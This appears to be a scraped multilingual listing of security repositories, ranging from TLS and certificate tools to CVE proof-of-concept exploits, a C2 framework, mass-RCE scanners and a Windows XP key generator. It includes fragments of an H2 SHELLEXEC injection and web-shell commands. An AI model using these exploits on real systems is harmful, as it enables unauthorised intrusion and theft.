jarm

JARM 请阅读最初的 JARM 博客文章 了解更多信息。 JARM 是一个主动的传输层安全（TLS）服务器指纹识别工具。 JARM 指纹可用于： 快速验证一组服务器是否具有相同的 TLS 配置。 按配置对互联网上不同的服务器进行分组，例如识别出某个服务器属于 Google、Salesforce 还是 Apple。 识别默认应用程序或基础设施。 识别互联网上的恶意软件命令与控制基础设施及其他恶意服务器。 JARM 支持已被或正在被添加到： SecurityTrails Shodan BinaryEdge RiskIQ Palo Alto Networks Censys 360 运行 JA...

certbot

.. This file contains a series of comments that are used to include sections of this README in other files. Do not modify these comments unless you know what you are doing. tag:intro-begin |build-status| .. |build-status| image::...

certbot

.. Este archivo contiene una serie de comentarios que se utilizan para incluir secciones de este README en otros archivos. No modifiques estos comentarios a menos que sepas lo que estás haciendo. tag:intro-begin |build-status| .. |build-status| image::...

CVE-2020-14882-weblogicRCE

Detección de RCE en el "WebLogic Server" de Oracle CVE-2020-14882 / CVE-2020-14750 Resumen: Detección de intentos de explotar CVE-2020-14882 y CVE-2020-14750: RCE no autenticado en el servidor WebLogic de Oracle. Referencias: Avisos de Oracle: CVE-2020-14882...

CVE-2019-12384

CVE-2019-12384 Jackson RCE 与 SSRF 0x01 python -m SimpleHTTPServer python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd throws java.io.IOException Stri...

XPKeygen

XPKeygen Un generador de claves VLK para Windows XP / Windows Server 2003. Esta herramienta te permite generar claves válidas de Windows XP basadas en la Raw Product Key Clave de Producto sin procesar, que puede ser aleatoria. La Raw Product Key RPK se proporciona en forma de 9 dígitos XXX-YYYYYY...

paramiko

|version| |python| |license| |ci| |coverage| .. |version| image:: https://img.shields.io/pypi/v/paramiko :target: https://pypi.org/project/paramiko/ :alt: PyPI - Package Version .. |python| image:: https://img.shields.io/pypi/pyversions/paramiko :target: https://pypi.org/project/paramiko/ :alt:...

poc-cve-2025-55182

CVE-2025-55182 React2Shell - Prueba de Concepto ⚠️ ADVERTENCIA: Este repositorio es solo para fines educativos e investigación de seguridad. No use este exploit contra sistemas que no posea o para los que no tenga permiso explícito de prueba. Resumen Este repositorio contiene una demostración de...

AdaptixC2

AdaptixC2 v1.2 2月28日：v1.2版本有哪些变化？ Adaptix 是一个可扩展的后渗透与对抗仿真框架，专为授权渗透测试而设计。Adaptix 服务器采用 Go 语言编写，以提供操作灵活性。GUI 客户端基于 C++ QT 开发，可在 Linux、Windows 和 MacOS 操作系统上运行。完整文档可在此处获取。 法律警告 本工具仅适用于授权安全测试与红队行动。未经授权的使用被严格禁止，并可能违反当地及国际法律。使用风险自负。 快速开始 请查看 wiki。 特性 支持多人协作的服务器/客户端架构 跨平台 GUI 客户端 全加密通信 监听器与代理作为插件（可扩展）...

ESFileExplorerOpenPortVuln

ES文件浏览器开放端口漏洞 - CVE-2019-6447 根据其在Google Play上的描述： ES文件浏览器（文件管理器）是一款功能齐全的文件（图片、音乐、电影、文档、应用）管理器，支持本地和网络使用！全球超过5亿用户，ES文件浏览器（文件管理器）帮助您高效地管理安卓手机和文件，并无数据成本地分享文件。 每次用户启动该应用时，都会启动一个HTTP服务器。该服务器在本地开放端口59777： angler:/ netstat -ap | grep com.estrongs tcp6 0 0 :::59777 ::: LISTEN 5696/com.estrongs.android.p...

CVE-2022-36804-MASS-RCE

CVE-2022-36804-POC Atlassian Bitbucket Server 和 Data Center 中存在一个严重漏洞（CVE-2022-36804），未经授权的攻击者可利用该漏洞在易受攻击的实例上执行恶意代码。 受影响版本 Bitbucket Server 和 Data Center 在 7.6.17、7.17.10、7.21.4、8.0.3、8.1.2、8.2.2 和 8.3.1 之前发布的所有版本均存在漏洞 POC: 该 PoC 使用 Python 编写，具备多种功能（多线程、IP 列表、轻量级、交互式 Shell……） 此上传附带服务器列表（其中大部分存在漏洞...

CVE-2025-55183-poc

CVE-2025-55183-poc – Next.js React Server Components 服务器函数源代码泄露 本仓库包含用于检测 Next.js React Server Components RSC / Server Actions 中源代码泄露漏洞（编号 CVE-2025-55183）的工具。 在受影响的应用中，向服务器函数发送精心构造的 HTTP 请求可能导致该函数在引用被字符串化时（例如通过模板字符串或数据库查询中的隐式转换）返回完整的 JavaScript 源代码 。 React 的修复为服务器引用添加了 toString...

CVE-2022-30190

CVE-2022-30190 重要 已修补于： 2022年6月14日安全更新 CVE Report HTML 文件必须提供给目标，例如（exploit.html ） 运行（server.py ）是执行攻击的一种简单方法。...

CVE-2022-26134

CVE-2022-26134 - OGNL 注入漏洞： 概念验证脚本，利用影响 Atlassian Confluence 7.18 及更低版本的远程代码执行漏洞。该 OGNL 注入漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 受影响版本： 所有受支持的 Confluence Server 和 Data Center 版本均受影响。 Confluence Server 和 Data Center 版本 1.3.0 至 7.18.1（不含）受影响。 该漏洞的 CVSS 评分为 10 分（满分 10 分），严重性极高。 依赖...

CVE-2011-2523

Vsftpd 2.3.4 后门漏洞 漏洞 当黑客在 USER 参数中输入包含 : 的字符串时，后门会在 6200 端口打开...

web-check

Web-Check Comprehensive, on-demand open source intelligence for any website 🌐web-check.xyz Kindly supported by: NinjaPear API to get a full B2B profiles from any URL | Hostinger Deploy Web-Check with one click on Hostinger | Warp Built for coding with multiple AI agents ---|---|--- Contents About...

wavecrack

Wavecrack Description A user-friendly Web interface to share an hashcat cracking box among multiple users with some pre-defined options. Screenshots The homepage Adding an hash to crack Seeing the results and some stats Outline This Web application can be used to launch asynchronous password crac...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus 扫描 0x02 K8 工具 GetShell 0x03 CMD 查询 使用方法： python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

Redeye

Redeye 该项目由渗透测试人员为渗透测试人员构建。 Redeye 是一款旨在帮助您在渗透测试操作中以最高效、最有条理的方式管理数据的工具。 目录 Redeye 目录 开发者 概述 安装 Docker 源码 通用 特别感谢 致谢 开发者 Daniel Arad - @dandanarad && Elad Pticha - @eladpt 概述 服务器面板将显示所有已添加的服务器及服务器基本信息，例如：拥有用户、开放端口以及是否已被攻破。 进入服务器后，将出现一个编辑面板。我们可以添加在服务器上发现的新用户、发现的漏洞，并添加相关的成果和文件。...

mass_cve-2021-41773

masscve-2021-41773 MASS CVE-2021-41773 Captura de pantalla Uso ! python3 -m pip install requests pyyhon3 cve-2021-41773.py urlist.txt pool Nota ! los resultados se guardarán automáticamente en vuln.txt puedes agregar un directorio común en...